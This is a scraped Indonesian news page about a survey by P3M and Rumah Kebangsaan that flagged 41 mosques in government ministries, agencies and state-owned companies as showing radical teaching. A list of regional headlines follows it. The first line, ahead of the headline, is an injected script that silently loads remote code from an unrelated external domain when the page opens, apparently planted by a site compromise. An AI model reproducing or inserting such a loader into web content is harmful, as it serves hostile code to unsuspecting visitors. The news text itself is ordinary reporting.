(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

P3M: 41 Masjid Instansi Negara Terpapar Radikalisme


Perhimpunan Pengembangan Pesantren dan Masyarakat (P3M) bekerja sama dengan Rumah Kebangsaan merilis masjid di instansi pemerintahan yang terindikasi paham-paham radikal. Hasilnya, lembaga yang berafiliasi dengan Nahdlatul Ulama itu menemukan 41 masjid yang terindikasi mengajarkan paham radikal.

“Dari 100 Masjid yang kami survei, ada 41 Masjid terindikasi radikal. 41 Masjid tersebut berasal dari kementerian, lembaga, dan BUMN,” kata Agus Muhammad selaku perwakilan dari P3M di Kantor PBNU, Jalan Salemba Raya, Jakarta Utara, Minggu (8/7).

Agus mengatakan, 41 masjid itu terbagi menjadi tiga. Sebanyak 21 masjid berada di kantor BUMN, 8 masjid di kantor lembaga, dan 12 masjid berada di kementerian. Pengajar di masjid-masjid ini juga terbagi ke tiga kategori, radikal rendah, sedang, dan tinggi. Dari 41 masjid, yang masuk dalam kategori level rendah ada di 7 masjid.

“Mereka enggak setuju tindakan intoleran, tapi mereka memaklumi tindakan itu. Seperti memaklumi khilafah,” jelas Agus dilansir Kumparan.com.

Sementara, untuk kategori radikal menengah ada di 17 masjid. Para pengajar di masjid itu disebut menyetujui adanya sikap intoleran. “Ini yang kami maksud adalah mereka sudah setuju tindakan intoleran. Ide khilafah negara islam. Sudah setuju, ” imbuh dia.

Agus menjelaskan, untuk kategori radikal tinggi sudah dalam taraf memprovokasi orang untuk melakukan tindakan intoleransi.  “Tingkat radikal tinggi bukan hanya setuju terhadap gagasan dan tindakan radikal, tapi mereka memprovokasi umat melakukan hal yang sama. Ikut berjuang mendirikan Hizbut Tahrir,” tutur dia.

Survei ini dilakukan dari tanggal 29 September-21 Oktober 2017. Menurut Direktur Rumah Kebangsaan Erika Widyaningsih, survei dilakukan dengan mengumpulkan data-data berupa buletin masjid hingga rekaman video dan audio khutbah Jumat. “Kita melakukan pengumpulan data rekaman video dan audio. Mengambil foto dan bukti buletin dan lain-lain itu yang kita lakukan selama satu bulan setiap hari Jumat,” ujarnya.

“Yang kami tugasi mereka mengikuti ibadah Salat Jumat di masjid-masjid yang kita pilih (sebagai) lokasi penelitian,” pungkasnya.

Perhimpunan Pengembangan Pesantren dan Masyarakat (P3M), dikutip dari situs resminya, merupakan lembaga swadaya masyarakat yang didirikan pada 18 Mei 1983 oleh para kyai pengasuh pesantren terkemuka di Indonesia.

Dalam perjalanannya, P3M mengajak tokoh-tokoh penting di kalangan NU di antaranya KH. Abdurahman Wahid, Arief Mudatsir, Mufid Busyaeri, Masykur Maskub, MM. Billah, Ison Basuni dan Masdar Farid Mas’udi yang kemudian juga memimpin lembaga P3M.

Meski tidak berafiliasi secara struktural dengan Nahdlatul Ulama (NU), P3M kemudian juga menjadi salah satu wadah bagi kegiatan kalangan NU. Kegiatan-kegiatan utama yang dilakukan lembaga ini pun diarahkan bagi pesantren-pesantren terutama kalangan NU.(cel/net)

Reporter:Cel/net
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

9 menit ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

31 menit ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

48 menit ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

2 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

3 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

3 jam ago

This website uses cookies.